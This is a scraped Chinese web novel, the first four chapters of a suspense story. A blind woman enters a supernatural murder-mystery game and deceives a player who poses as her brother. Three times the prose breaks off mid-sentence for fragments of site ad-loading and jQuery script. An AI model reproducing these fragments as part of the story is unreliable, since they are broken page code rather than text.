《悬疑游戏,但万人迷》
1. 第一章
「正在载入剧本杀中……」
「载入成功!」
欢快的机械声像是一捧冷水,瞬间让官素月睁开眼睛,而后怔住。
早在五年前,她就因为一些事而失明了,按理说什么都看不到,可现在,她却看到了一道清晰的白色提示框。
提示框正在不断加载出字:「尊敬的玩家您好,我是动物剧本杀系统,欢迎来到剧本杀游戏~」
「您的美妙异化之旅已开启,游玩须知如下:」
「1,每位玩家都有且仅有一份身份卡,请看管好您的身份卡,不可丢失,不可与其他玩家交换查看。」
「2,因身份不同,每位玩家都有不同的主线任务或支线任务,当两者冲突时玩家可择一完成。」
「3,玩家行动时需遵循身份卡人设,不可ooc。」
「4,每三天开启一轮剧本杀,请玩家把握每轮剧情、搜查、交谈时间。」
「5,公共投票时,玩家在线人数不可少于剧本杀要求人数。」
剧本杀……
官素月看着加载出一行又一行信息的提示框上,心中一沉。
剧本杀是一个娱乐项目,和角色扮演、狼人杀之类的游戏有异曲同工之处,只是玩家需要阅读大量的文字剧本,作为盲人,这种游戏本来和她没什么关系。
如果她没有在几天之前收到一封信的话。
那封信是悬疑游戏的邀请函,来自一个动物剧本杀,信中说这是一场只有少数人得以参加的‘异化之旅’,是‘天赐的救赎’,参加能获得不可思议的好处,如能让得绝症的人焕发生机、让双腿无法行动的人重新站起来、让失去光明的人重新看见等等,荒谬得让人只觉浪费纸。
但在接过信后,官素月却陡然恢复了光明,她是一字一句地看完整封信的,哪怕信中所言再过不可思议,她也不得不为自己的亲眼所见而付出那么一两分相信。
所以在查过各种资料后,她按照信中的地址,在一栋偏远又破落的居民楼租下了一间临时住所。
今天是她住下的第一天。
仿佛是识别到提示已经被读完,定格了片刻后,提示框上的白色字迹一扫而后,随之是再次一行行出现的新字迹:
「身份卡:[官妹妹·猫]」
「异化特向:敏捷13,智力15,幸运20。
(常人均值为10。)」
「注①:因视力限制,您的敏捷值数已降低5点,在使用种族天赋时将恢复视力、解除debuff。」
「注②:不错的智力,怪不得……」
「注③:哦,亲爱的黑猫小姐,镇宅辟邪,招财进宝,喵喵喵喵!」
为了方便好记,许多剧本杀便根据身份为玩家们取简单的绰号,比如x管家,x仆人,[官妹妹]大抵也是如此。
官素月的视线在身份卡特别标注的[猫]上停顿了几秒,再往下看去,眉头便蹙了起来。
她是一个盲人,哪怕在失去光明的这几年中反复训练,使自己能够勉强像正常人一样外出,可她终归还是一个盲人,敏捷怎么可能比正常人的平均值还要高?
幸运值也不太对。
她的运气是比较好,经常遇到好事和好人,偶尔帮朋友游戏抽奖时也会获得朋友的惊喜尖叫和疯狂蹭蹭,但有‘成为盲人’这件事在,幸运值不至于如此高吧?
还是说……
在进入剧本杀的那一刻,她已经‘异化’了?
系统的提示还在继续:「种族:猫。」
「种族天赋(部分解锁):当您使用种族天赋时,您会像猫一样敏捷而警惕,视力恢复,洞悉、敏捷等属性上涨,综合素质小幅度增强。」
「持续时间:10分钟/天」
也就是说,官素月一天有十分钟的时间可以恢复光明。
而除此之外的二十三小时五十分钟,她要以盲人的身份面对完全陌生的地方,一场即将到来的谋杀案,还有一群素未谋面、种族不再是人类还拥有奇异种族天赋的玩家。
前方好像是地狱。
官素月:“……”
幸运20是认真的吗。
大概是发现了玩家沉默却震耳欲聋的反应,提示框上的字开始一行行地消失,空白了几秒后,再次提示:
「……检测到玩家为视障人士,开启视障辅助模式中。」
视障辅助?
看清楚这行字且思绪运转的同时,官素月察觉到自己黑暗的视野突然开始涌动起来,黑色越来越淡,有什么东西越来越清晰,她闭上眼睛,再睁开时视野就稳定了下来。
仿佛是遮面的层层黑纱被一下子挑起大半,她隐约地看见了自己处于一间豪华的欧式客房中,正站在房间一角的书桌边,身旁立着一个黑色的大行李箱和女士包,侧面是一张白色的大床,和地毯窗帘的颜色搭配起来像是一朵浮在咖啡中的白色拉花。
窗帘遮挡住了大半墙壁,窗户只露出巴掌大的缝隙,窗外的天地间一片雾蒙蒙,有风雪呼啸着吹过,看高度,房间处于三楼。
头顶的水晶灯没开,所以房间处于一片黑暗中,卧室的门倒是开着,外面的房间亮着灯,整间房只由洒进来的灯光和雪光模糊照亮。
世界一下子清晰了很多。
虽然还像罩着黑纱,没有清晰得像正常人一样,但已经能看清周围大致的轮廓了,官素月立在原地没有动,享受着美妙的感觉,一点一点地打量完周围后,她垂下眼睛,看到了自己抬起的白色手掌。
她的脸上没什么表情,但心脏在剧烈的跳动,为这模糊的所见。
「视障模式开启完毕。」
提示框上的所有文字再次消失了,随后,一行行新的文字加载而出:「身份卡加载完毕,第一幕·①:」
「你是官妹妹,一名孤儿。」
「在七岁那年,你的母亲因病去世,你的父亲因耿耿于怀自己无能支付医药费抑郁而终,在你即将去福利院时,你的邻居收养了你,你有了养父母和哥哥。」
「可惜好景不长,在十三岁那年,你的养父母出了车祸,抢救无效双双死亡,你的亲人只剩下哥哥。」
「你深深地记着杀母之仇,成年后便开始着手调查那场车祸。就在不九前,你突然收到了一封忏悔信,一位署名[陈先生]的人说自己是你的仇人,他对自己曾经做过的坏事而感到懊恼、沮丧伤心地为肇事逃逸而感到抱歉,为了补偿你和你的哥哥,他决定补偿你们一栋别墅和三千万,并邀请你们到一个偏远又破旧的小区详谈。」
「你赴约了。」
一场剧本杀中,玩家们的身份不同,但一般而言,他们有着共同点:对死者心怀杀意。
除了死者和由主持人扮演的npc,玩家们都因各种各样的事而试图杀害死者,但是死者只有一条命,所以只有一个人是成功得手的凶手,其他人都是作案但未得逞的陪跑员。
最初收集资料的时候,官素月在花钱请人帮忙的情况下特意玩过几局剧本杀,因此听到一半,她便判断:这是她的杀人动机。
提示到此为止,在她看完的十几秒后,初步的身份信息才消失,又有提示浮现:
「支线任务①」
「任务说明:从得知仇人的那一刻起,你的哥哥便
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
激愤不已,你花了许多功夫才重新将他安抚下来。刚到目的地时你的盲杖坏了,他外出去为你寻找临时盲杖,只是似乎外出太久了?你很担忧他会莽撞地去找仇人,那会破坏你的计划……」
「任务要求:找到‘哥哥’。」
找人的任务?
让盲人找人?
官素月很想说盲人不是导盲犬,更不是寻回犬,但在感受了下模糊的视野后,很包容性地咽回了异议。
任务提示加载完的同时,地板上悄然浮现了两个荧光的箭头,箭头指向门外,应该是任务指引。
荧光箭头是在黑暗和视障人士都可以清晰看见的,官素月垂下的视线定在上面几秒,却没有立刻开始进行任务,反而继续停留在原地,甚至开始翻起了自己身侧的行李箱和手提包。
她先翻的是行李箱,在层层叠叠的衣物和洗漱用品中翻找出一份文件和两个可疑的瓶罐,而后又开始翻找手提包。
手提包里的信息量显然要比行李箱多,粗略一翻便是手机、钱包证件和相框合照等。
手机是一款小巧的触屏手机,处于视障模式,音量是最高一档,在摁亮的瞬间官素月先把音量调至静音,然后才划开屏幕。
没有密码。
于是在进入设置检查各种权限提示音,以免发生‘明明静音了,手机却还是突然响起来‘事件时,她又顺手设了密码。
手机里有一条未查看的新信息,显示接收时间是半小时前,前缀是天气预警。
刚要点进去,官素月便听见门外突然传来了一声东西破碎声,宛如惊雷:
“嘭——!”
她立刻停下了动作保持安静,警觉侧耳。
外面却又再次恢复了一片安静,没其他声音了,但左上角的那行任务名称却开始轻微地闪烁起来,提醒之意溢于言表。
这动静和[找到‘哥哥’]有关。
不过这不是重点,重点是:卧室的门是虚掩开着的。
万一外面不是什么好情况……比如什么玩家杀性大发,那……
目光扫过闪烁的提示,落在视野中那扇模糊开着引入灯光的卧室门,官素月的脸色微变,她动了起来,悄无声息地顺着指路箭头走到门后,思考几秒后,谨慎地使用了种族天赋。
「倒计时:九分钟五十九秒。」
世界越发清晰起来,蒙面黑纱被彻底挑起,像从磨砂玻璃陡然跳跃成了薄薄一层的透玻璃,官素月目视之处都清晰得仿佛在近距离观看,她原本偏淡的眼瞳越发淡了,琥珀一样的瞳孔边缘隐隐有金色的晕染,缩成了椭圆。
与此同时,她的身体更轻盈,手拂过门把时直觉自己可以轻松攀爬跃至门上,也更敏锐了许多,只轻嗅几下,鼻尖便捕捉到了空气中蔓延开的浓烈酒味和一些血腥味。
比正常人看的更清晰,身体更健康,更好!
惊奇着,她的身体却一直未动,呼吸也没有什么变化,整个人像是落地的叶子,如鱼得水地静立于阴影中,借着门的遮挡窥出去。
外面是一个小客厅,顶部吊着一盏水晶灯,灯光璀璨,照亮了不远处站在吧台里的一个男人。
他穿着西装,头发并非很短的短发,而是狼尾,背对着官素月,模糊的身形较为年轻,低垂着头看向下方,正头也不抬地将半瓶酒放在吧台上。
说是半瓶酒,是因为那瓶酒的下半部分已经不见了,只有被握住的上端。
而吧台下方的洁白地毯,正有暗色的液体在晕染蔓延,将距离吧台最近的一个指路箭头半盖住。
……疑似凶杀现场。
突然,西装男转头看来。
2. 第二章
官素月的心跳在加速。
但却眉眼不动,她维持着自己极轻的呼吸,将自身的存在感下降,像是完全融入晦涩阴影中的一滩黑色,静静地注视着西装男。
她刚刚的判断很正确。
西装男看起来很年轻,大约二十五六岁,剑眉凤目,样貌颇为出众,头顶的灯在他清晰的眉骨一侧打下层淡淡的阴影。
他下压着眉头,看起来相当不耐,气压很低,一看便是个脾气不好的人,看过来的目光像是狼一样锐利。
虽看了过来,但他显然并没有察觉到官素月正站在门后,也没有看到地上的荧光箭头,定定地看了一会儿虚掩的门,他收回视线,低头去看吧台下方的尸体,而后又抬头看向卧室,像在迟疑什么。
如此反复几次,西装男皱着眉从血泊中捡起一部老式的按键手机,擦去屏幕上的血迹后,不知看到了什么,他的表情越发难看,不像是用酒瓶砸人的凶手,反而像是无缘无故被砸的受害者。
他摁了下手机。
手机响起来,传出平淡毫无起伏的男性机械声:“妹妹,我回来了,那家伙在花园,你要是出、”
声音戛然而止,手机沉默住。
西装男只动了一下手机,是绝不可能一下子完成‘找到可以将文字播出来的界面’+‘打出半句话’的。
这半句话是手机原本的主人打字打出来的。
那么问题来了:什么样的人,才会选择不开口说话,用手机打字‘说话’呢?
……
官素月注视西装男的眼神奇妙了起来。
如果说之前,她是在看一位敌人、一位不速之客、一个鸣叫中的报警器,是需要紧急处理掉,处理不掉也要尽快远离的危险因素,那么现在,她的眼神便是在估量一个可能的合作对象。
她意识到了一件事。
几乎在她意识到的同时,系统的提示再次出现,接上之前的未尽之言:「你的哥哥是一个哑巴。」
「就在你决定要去寻找哥哥时,突然听到客厅传来的动静,似乎是有人打碎了酒瓶,随后,你的哑巴哥哥一如既往地用手机叫你,“妹妹,我回来了……”,你松了一口气,在即将推门时却直觉般地迟疑了起来。」
「……真的是哥哥吗?」
加载完最后一行额外大些的疑问后,提示又斜着消失,像是被黑板擦擦掉了,随后,占据了整个视野的巨大提示出现:「你觉得___」
这行提示像是火车来临时轨道两侧降下来的拦路防护栏。
而左上角,[找到‘’哥哥’]的任务还在极快地闪烁着,亮到哪怕连视障人士都无法轻松忽视。
官素月瞥左上角一眼,透过视野中心的淡白色提示去看西装男,发现他已不再看卧室和尸体,正盯着虚空看,眉头皱得更深了,神情也更加不悦。
他也在看系统提示。
属于他的系统提示大概很多,他现在都没有看完,视线在空中下移着,移到一定程度又再次抬起,然后继续往下看。
全然没有掩饰自己在看系统更新的剧本的意思。
看着看着,西装男冷下脸来。
忽略一酒瓶干掉一位成年男性的战斗力,这位不速之客似乎是比较好对付的那类人,起码表情很好懂,官素月思忖着,视线穿过西装男,去看向他的一侧。
在吧台的侧面,有一扇关着的门。
这里大概是一间套房,由卧室、卫生间和一个小客厅组成,除了破窗而出,想要去外面就只能从客厅的门走出去。
但西装男就在门边。
官素月看看门,看看西装男,再看看自己的幸运值,捋了捋当前难题:
1,封闭空间,刚刀了人的狼人近在咫尺。
逃跑空间只有门窗,凶手在门边,排除,可以尝试开种族天赋从窗户跑路……
但也有弊端,凶手或许会开启种族天赋追上来刀人,且还有任务未完成。
2,任务箭头指向西装男,左上角任务条闪烁得更急促了。
目前周围只有尸体和凶手,可以试试认尸体当哥哥或不找哥哥,看能不能卡bug,但如果系统判定失败……
任务没有提示任务失败会如何,只是,‘[官妹妹]不去找[官哥哥]’算ooc吗?
官素月不是很确定,但确定了一点:这种开局,这种debuff,这种走向,很显然,剧本杀系统希望她认下假哥哥,达成两位玩家暂时组队的局面。
念头转动间,她很快做出决定,踩着箭头开始向后退。
客厅灯光洒进卧室时形成了一小块亮斑,她避开亮处后退五六步,退回房间昏暗的中部。
不知是因种族天赋,还是因即将做出的危险行为,她感觉到自己的体温比平常更热,头顶尾脊处有错觉似的痒意。
客厅里,西装男看完了提示,皱着眉沉思了起来,没有注意安安静静的卧室。
卧室内,官素月缓缓深吸一口气,平息身体的异样,关掉了种族天赋。
视野陡然昏暗下来,世界再次朦胧上黑纱。
在晦涩的昏暗中,她拿起手提包,伸出手,以一种符合常人刻板印象中盲人的跌跌撞撞摸索向门口,“哥哥?”
她撞到了门,发出不轻不重的撞击声,轻晃一下后又很快扶着门的边沿站直,顺势站在门侧,只探出一张脸,作茫然四望态,“是你回来了吗,哥哥?”
“你有没有找到盲棍?”
……
客厅里一片死了一样的沉默。
吧台内,西装男模糊的身影僵住了,硬邦邦的,僵得官素月有种自己刚刚把树看成人类的微妙感。
她略等了等。
十几秒后,手机的机械声响起:“嗯,我回来了。”
僵硬的‘黑树’折了起来,弯腰从地上捡起一根手杖擦了擦,咬到了官素月抛出的信息钩,“我找到了一根手杖,你试试能不能用。”
说着,他迈步走过来。
地上仿佛定格住,一直指着吧台的箭头像是水面一样波动起来,随着他一步步过来,指向他的箭头也在一步步更新。
系统没有新的提示,在西装男模糊不反驳地应答后,「你觉得___」的硕大提示还在视野中央浮着,左上角的[寻找‘哥哥’]仍然闪烁着。
任务没有完成。
官素月看着地上的箭头,不着痕迹地扫过左上角。
几个呼吸间,西装男已然走到她面前,边递出手杖,边盯着她看,注意到她无神的眼睛,眉头皱了起来。
官素月有一张很有用的脸,明眸皓齿,笑起来的时候,哪怕眼盲,也有种明艳的灵气。
这张脸让她在成为盲人后经常遇到好心人,也让她在盯着西装男的下巴微笑时显得毫无攻击性。
如此近距离的情况下,官素月能看到西装男在注视自己,她眼眨都不眨,微微歪头,维持着微笑,错位对视间,反而是西装男率先移开目光,又掩饰性地再次看过来,顺手在她的眼前晃了晃。
发现她没什么眼神变化、还是虚虚地盯着半空,他就收回了手。
官素月则摸索着接过西装男递过来的手杖,那是一根有工艺的手杖,表面有些许雕刻作为装饰,手掌一握紧,她便感觉到了微不可察的湿润感。
她恍若未觉,低下眼睛,说话的声音轻了起来,“谢谢。那个,请问你是玩家吗?系统说你是我
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
哥哥。”
“我是个盲人,你用手机是……?”
西装男已经退到了四五步之外。
但不是因为对一位盲人都警惕、所以谨慎远离,官素月看不清他的细微表情,却能看到他侧向一旁的头。
这个姿势,他几乎只有一点余光可以扫到她,这可不是警惕一个人的态度,反而像……
不太和人近距离交流?
官素月控制住自己的表情,用轻又茫然的语气说完话,流露出足够的迟疑,等待回复。
“嗯、”
刚应了声,西装男就立刻反应过来收声,他不太自在地转了转脖子,在手机上打字播放出来,“我的身份卡是[官哥哥],是哑巴,只能用手机说话。”
「你觉得他就是你的哥哥。」
地上的箭头消失了。
系统的任务完成提示弹出:「[找到‘哥哥’]已完成。」
「支线任务②」
「任务说明:你成功找到了‘哥哥’,这使你松了一口气,可和仇人共处一个屋檐下的愤怒让你不得不尽快做些什么,思量后,你决定先把整个别墅摸索一遍,了解大致地形……也见见你的仇人,再次聆听他的声音。」
「任务要求:找到‘陈先生’。」
「你决定先去___」
没有任务奖励?
官素月若有所思地维持着失焦状态,用余光扫了扫打量西装男,隐晦打量了几圈。
在她看到系统提示时,他也看向了半空中,应该是完成了‘伪装成[官哥哥]’之类的任务,同样收到了提示,同时,他的头顶浮现了一个提示框,持续了三四秒才缓慢消失:
「徐示白」
是名字?
在疑似因两位玩家确认身份、于是弹出的提示框出现后,徐示白的大致视线落点变了,由半空转为官素月的头顶。
他看了几眼,挑起眉头,问官素月,“你在现实里也是盲人?”
官素月点头,他便道:“那很好,只用适应陌生的地形。”
‘从正常人陡然变成盲人又来到一个陌生的地方’和‘盲人到一个陌生的地方’可不是一种难度,短短片刻,徐示白还不熟悉按键手机,按起来噼里啪啦的,自带暴躁感。
他再问:“玩过剧本杀吗?”
如果所有人的加入渠道都是邀请函,那说没玩过就装得太过了,官素月中规中矩地回答:“玩过。”
“是之前玩的,” 她补充,“了解不多,可能要麻烦你了。”
徐示白:“没事,”
他顿了顿,才在手机上打出一行自然而然的强调,“我们是组队状态,互相帮助配合行动是应该的。”
‘我们’。
狼哥你好像不太会骗人。
官素月:“。”
那就别怪人骗你了。
“好像是的,我们一个盲人一个哑巴,作案行动时应该是互相配合的,”她用上沉吟的语气,状似有理有据着认真推理,“不过我是盲人,负责主要行动有些困难,应该是配合你进行行动?”
“你是我的‘哥哥’,我会配合你的。”
你是我的‘哥哥’,我当然会配合你啦,但你不是的话……
徐示白看过来。
‘哥哥’的发音是被特意咬重了些的,在伪装他人身份的紧张警觉发作之前,他却停顿了下,没有第一时间回答,过了几秒才慢慢地摁动手机,“嗯。”
等到回应,官素月侧脸,做出像是在回忆的细微动作,“我刚刚触发了一个‘去找仇人’的任务,但什么都没告诉我,只让我选我认为去哪里可以碰到仇人,”
“线索在你那里吧?”
3. 第三章
花园。
第二个支线任务答案是花园,官素月已经知道,原因很简单:
在手机手机第一次响起来时,播放出的那半句话中提到了‘花园’,且是‘那家伙在花园’,是不太友善的口吻。
这是目前为止,她接触到的唯一一个提及了其他人和地点的线索。
果然,顿了片刻后,徐示白回答:“应该是花园。”
“我的第一幕剧本中说我在别墅里转了半圈,在花园中碰见了疑似是别墅主人的人,”他低头摁着手机,垂在后颈处的黑色狼尾短发随着他的低头而滑下,搭在肩上,发尾部分晕染了些许水晶灯或手机屏幕的光,“不过他可能离开了……你要现在去吗?”
低头是一个很好的动作,好就好在可以挡住几分表情。
但很可惜,徐示白比官素月高了一个头还多,在这种身高差下,他低下头根本没有掩饰到一点表情,反而让她更清清楚楚地看到了他在打字前的思考和在打字时抿垂下去的唇角。
……这真的是一个不太会骗人的人。
官素月:“。”
她微妙地顿了个空拍,看了眼毫无动静的任务,才回答:“嗯,任务要求尽快去。”
撞见命案现场,当然是能早溜就尽早溜啦。
虽然狼哥有点……某种意义上而言蛮适合当队友的,可以不用溜之大吉。
但考虑到队友紧绷的状态,起码要给队友点处理尸体毁尸灭迹的时间嘛,系统之所以紧接着发布新任务支开她,大抵也是想给玩家收尾时间。
几乎在官素月话音落下的同时,任务更新的提示弹出:「你决定先去花园。」
地上又浮现出了指路的荧光箭头,一个个地组成了通往客厅出口的箭头路。
除此之外没有再弹出其他的提示,官素月初步估计在她抵达花园或找到仇人之类的新进展出现时,系统才会再次提示。
她忽略视野中明晃晃的箭头,对徐示白笑了笑,从手提包中取出手机,“那我们等下有新发现就用手机联系?你既然是我哥哥,我们的手机里肯定有彼此的联系方式。”
徐示白的视线移过去。
他看着官素月摸索着打开手机、摁高音量。
视障模式在此时发挥了作用,开始朗读屏幕上的软件信息,朗读到一半又开始朗读打开的联系人界面。
这显然是一部剧本杀专用手机,和线索无关的都被清理掉了,联系人里只有两个联系方式,在大字号和字母分组的作用下占据了大半的屏幕。
但因官素月拿手机的角度根本不是正常人拿手机的角度,是更陡更斜,仿佛在特意不让别人看清的角度,恐怕视力正常的人在她的角度都看不清屏幕上的字,徐示白自然也没辨认出两个联系人的具体备注。
手机朗读出上方第一位联系人的备注:“G—哥哥。”
在下一个联系人所处的字母都没被读出声时,官素月便连点屏幕,手机的朗读声顿住,选中[哥哥]开始拨打。
下一秒,徐示白握着的手机响了起来。
他垂首看去,隐隐紧绷的身体放松了下来,挂断,从容地摁手机的按键,“嗯,我们的手机里有彼此的联系方式。”
手机摁键发出的声音舒缓,官素月听着,对徐示白扬起笑脸,“那我们有事手机联系,哥哥?”
“——对了,可以这么称呼吗?还是不叫身份,叫昵称?”
都已经叫过两三次了,她才仿佛后知后觉地询问。
“……就这么叫吧,”徐示白道,“叫身份好记。”
给出的理由还蛮合理的,官素月微笑着收起手机,“那我先去花园了?刚好可以在别墅里转转,熟悉地图。”
边说,她边握着盲杖,试探性地向前走去,“门是在这边吗?”
徐示白侧开避让两步,抬手便要去握盲杖,想帮忙,又想起帮助盲人时似乎不能直接碰盲杖,手在半空中停住,“是这边,我、”
他的视线转动,看了眼她握着盲杖的手臂。
在进入剧本杀时,官素月身上的衣服已经自动换了一套,现在是一身和欧式风别墅比较搭的连衣裙,由白色的裙装和杏色的斗篷组成,连衣裙一直垂至小腿近脚踝的地方,脚下则蹬着一双黑色的平底鞋。
她抬起手时,蓬松起来的白色衣袖过分洁白,手掌又握着手掌,纤细的手指侧横在深色的盲杖上,将杖端轻松拢在手心中,无论怎么看,好像都不是异性可以毫无顾忌接触的地方,徐示白的手本欲转而去扶她的手臂或是手,视线定了定,却又顿住。
在这迟疑的刹那,官素月的视线隐晦地从地上扫过:前方不远处,在门口必经之路附近的地毯被血蔓延,湿漉漉的。
要走过去,就必须绕一个大圈,从客厅最边缘过去,可懵懵懂懂看不见的盲人,却能完美避开有血的地方,会令人怀疑的吧?
哪怕只有一丝怀疑,徐示白的态度也会转变。
可坦然自若地踩过去,干地毯和湿地毯的踩感又不一样……
不到一秒的思考间,官素月的表情不变,手臂向前探的幅度大了些,碰到了徐示白停在半空中的手,她侧首,再次笑起来,“欸,你要帮我吗,谢谢,抓住我的手臂就行。”
“盲杖是盲人的眼睛,我不太习惯被抓住盲杖。”
“嗯,”徐示白顺势虚握住官素月的小臂,“这边。”
他最后打完一行字,将手机放进口袋中,开始带路。
带的不是直线,而是绕一个圆弧,避开血迹范围和家具,从客厅外围走向门口的路线。
走的时候,徐示白的视线落在地毯上,又移向官素月的脸上。
她神色平静,没有察觉到自己脚下数寸外便是血迹,更没有察觉到不远处就是一具尸体,因眼盲,眨眼的频率很慢,每次眨眼都会先垂下眼睫,看着下方眨眼,偏浅的瞳孔像是一对安静澄澈的猫眼石。
走动间,她没有束起的黑色长发在轻轻晃动,时不时遮住手臂,白色的耳尖从黑发探出一点,红色的唇是抿起的,带着些笑的弧度,被握住的一小节手臂几乎是一动不动,哪怕那片区域几乎被他温热的手掌染烫了,大约也没怎么接触过异性,和他一样很是局促。
在快走到门口时,她眨眼的频率加快了些,鼻尖出现闻嗅的动作,很快,眉头就蹙了起来,流露出了点不高兴。
表现得如此明显,显然,她的不悦不是因为敏锐地血味、察觉到了悚然的危险,而是因为闻到了扑面而来的浓郁酒味,那来源于徐示白打碎的一个烈酒瓶。
但她什么都没说,在盲杖碰到门后伸手推开门,屏息着小声道:“那,再见?”
徐示白没有松手,站得位置其实和她看向的位置有出入,他站得很近,呼吸却几乎不存在,目光从上而下地注视着她的每一寸表情,注视她失焦的眼睛,晕着水晶灯流光的瞳孔。
她浑然不觉,还在笑。
俄顷,他松开手,用手机回答:“等下见。”
官素月便出了门。
她是微笑着出门的,出门时先用盲杖探着确定走廊的宽度,而后在左右手犹豫了几秒,艰难地择决出一条自己喜欢的路,敲敲打打地走远了。
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
明明没有看表情,只看背影,徐示白却能看出她抉择得其实也很随意,并不在意自己走向的是不是正确的路,也能看出她走时很小心,似乎生怕前面突然有一个断崖。
他看了片刻,直到她走过一个转弯,消失在视野中,才关上门。
……
走过了一个走廊转角时,官素月是微笑着的。
路过两扇紧闭的房门时,她仍是微笑的。
路过七八扇房门,确定所处走廊是封闭的,无论是外面、楼上还是楼下有人都无法窥见走廊中部,走廊中的房间也都是紧闭着的,没人在看,她才一点点地收起了微笑。
她原地停下,迅速扫视周围后伸手去摸手提包,检查自己从行李箱里翻出来的两个瓶子。
两个瓶子都是可以一只手握住的白瓷小瓶子,一个瓶子的瓶身干干净净,里面装了半瓶茶叶。
是红茶。
官素月没有直接闻,她一只手握瓶、一只手在瓶口处扇风,把稍苦的茶叶味扇过来浅闻了几下,没有闻到明显的药物刺鼻味道,便思索着暂时合上,又去检查另一个瓶子。
第二个瓶子里装了两颗不明药物,气味颇为冲鼻,闻起来又苦又涩,还夹杂着很轻微的臭味,瓶身上贴着一张白纸,什么字都没有写,但指尖摸过去的时候却有凹凸不平感,是盲文。
「[气血涌]:烈性毒药,人类服用一颗会死亡,发作时间为三小时。」
在指腹反复摩挲辨认出这行字迹的瞬间,系统提示弹出:「[官妹妹]的作案工具。」
「你反复摸着自己提前准备的毒药,已然杀气四溢。」
官素月:“……”
OK,作案工具,她的冒险行为收获了一定的回报。
她不认为自己离开的时候,徐示白会很有礼貌不进入卧室寻找线索,假如她没有提前翻找又冒险带走,那现在,那位开局便十分不礼貌地刀人的假哥哥先生大概已经在卧室里翻找到她的作案工具了。
现在又不是真的在玩输了也无所谓的娱乐游戏,一位玩家提前得知另一位玩家的作案工具、推测出大致的作案手法,那可是能轻而易举套中一个保底替死鬼的。
在确定自己绝对不是凶手、无需担心会被侦探找出之前,谁不想要一个保底替死鬼呢?
起码官素月很想要。
她垂下眼睛,记下‘三小时’的关键时间,用指甲将药瓶上的盲文划乱,又从包里取出一张卫生纸,将药片倒在纸中包裹起来、放入口袋,空药瓶和茶叶瓶则重新放回手提包中。
然后拿出手机开始翻找。
手机的联系人里有两个,一个是置顶的[哥哥],另一个则是……
[男鬼]
官素月:“?”
她困惑地眯起眼睛,刚要点进去,就听到前方的房间里传来卧室的关门声和脚步声。
脚步声很轻快,越来越近。
来者正在走过来,即将出门。
作出判断的同时,官素月将手机塞回口袋,握住盲杖,再次开始往前走。
她走了大约五六步,听到了开门声,和停住的脚步声,“咦?”
一个约二十岁出头的年轻男人推门而出,他看起来还是学生,身上有种浓郁的清澈开朗感,应该是刚洗漱完,头发看起来被毛巾胡乱揉过,很凌乱蓬松,眉毛眼睛还有些湿漉漉的。
看见官素月的第一秒,他的反应不是警惕或疏远,而是不假思索地挥手打招呼,甚至惊喜地笑了起来,“啊,是你,住304的姐姐!”
“终于见面了,中午好。”
4. 第四章
304。
这是官素月在破旧居民楼的门牌号。
她应邀至破旧居民楼时,是接到邀请函的第五天,直到下车,中介都还在委婉曲折地劝她最好不要在太偏远的地方租房,并透露了一件事:
目前,整个小区只有这一栋居民楼还勉强可以住人,但整栋楼都没有人居住。
小区的所有房源都在这位中介手中,她相当笃定这片区域绝对是一个诡异的小型无人区,这个结论也和官素月提前请私家侦探调查的结果如出一辙,不认识的两方相互佐证,增加了可信度。
可当官素月提着行李箱,在暮色中走到居民楼下时,却几乎是立刻推翻了这个由两方共同笃定的结论:居民楼里有人。
没人在活动,没有灯在亮,天地间仿佛静音了,一切都静悄悄的,除了她自己的走路声和行李箱轮子滚动的声音,便只有无声的窥视。
对正常人而言没什么存在感,对不正常,失去了视力,其他感知增加了的官素月而言,宛如灯一样明显的窥视。
窥探视线的来源是居民楼内部。
可能是一二楼,也可能是三四楼,当然,也不能排除是多个楼层都有人居住。
当时,官素月只顿了顿,恍若未觉,平静地推着行李箱继续往楼内走。
现在,她连顿都没顿,脸上就流露出了困惑的表情,“你是?”
个别时候,盲人的身份其实很好用,比如在降低他人戒心时,再比如在故作困惑时,可以直接跳过最重要的眼神戏环节,只需要注视的地方偏侧一点、看向空气,困惑就活灵活现了。
没人会责怪盲人看错了位置。
“忘记没有和姐姐自我介绍过,我叫楚回。“
楚回懊恼地拍了拍头,自然而然地向一侧挪动一步,主动站在官素月看向的位置,没发出一丝挪动的动静,好像自己本来就站在这儿,“我的身份卡是[楚下属]。”
一道莹白的提示从他的头顶上闪现:「楚回」。
他没说谎。
显示了三秒,莹白字迹才慢慢淡化消失,与此同时,楚回在注视官素月的眼睛,视线没有上移一下,仍开心地继续自我介绍着,“姐姐叫我的名字或身份都可以,”
前半句刚说完叫什么都可以,后半句他就补充,“我的名字很好记的。”
很热情,很开朗。
很奇怪。
和剧本杀游戏的阴冷感格格不入,几乎热情得像是一只欢快扑面而来的金毛的奇怪感。
但这还不是最热情的时刻,没等官素月度过微妙停顿的几息,楚回就高高兴兴地继续往下说:“我的身份是‘陈先生’的下属,这次来别墅是因为公司那边和其他公司合作的时候在合同上使了点手段、被发现找上门兴师问罪,‘陈先生’又提前和公司里的人说了自己有重要的事要办短时间内不会回去,还不接电话,没办法,公司只能派人来找。”
随着他说话,系统提示再次触动
「在走廊中,你偶遇了前来寻找[陈先生]商量公事的[楚下属],他……」
提示像是卡了一样停顿了几秒,大概也被热情到了,之后才挤出后续:「他对你热情相诉、苦恼抱怨上司的奇怪行为。」
「你很奇怪他为何对陌生人如此坦诚相待,深觉离谱,却更关注最重要的信息:[陈先生]提前和其他人说最近几天不许联系他?」
官素月:“……”
她眼都不眨地道:“楚下属吗?你好,我的身份卡是[官妹妹]。”
这一次,楚回的视线上移了。
上移了不到一秒,便又再次下移视线注视官素月的眼睛。
他是在看系统提示的玩家姓名,官素月如此判断,没跟着介绍[官妹妹]前来的原因,眼都不眨地抛出信息,“我也是来找‘陈先生’的,你是一个人吗?”
一个人?
楚回的眉头动了动,放弃之前铺好的话题,敏锐追问:“你不是一个人?”
“嗯,”官素月点头,“可能是因为我是视障人士,不太方便玩游戏,所以……”
‘有玩家处于组队状态’的信息其实有点微妙,不过在所有玩家汇聚集合后就是公共信息了,现在抛出来替掉‘[官妹妹]前来的原因’刚好。
“他的身份卡是我哥哥,不过,”她像是没有察觉到自己说出口的是一个很可能令其他玩家警惕注意率先对付的信息,抿唇笑了笑,“他是言语障碍人士,不能说话。”
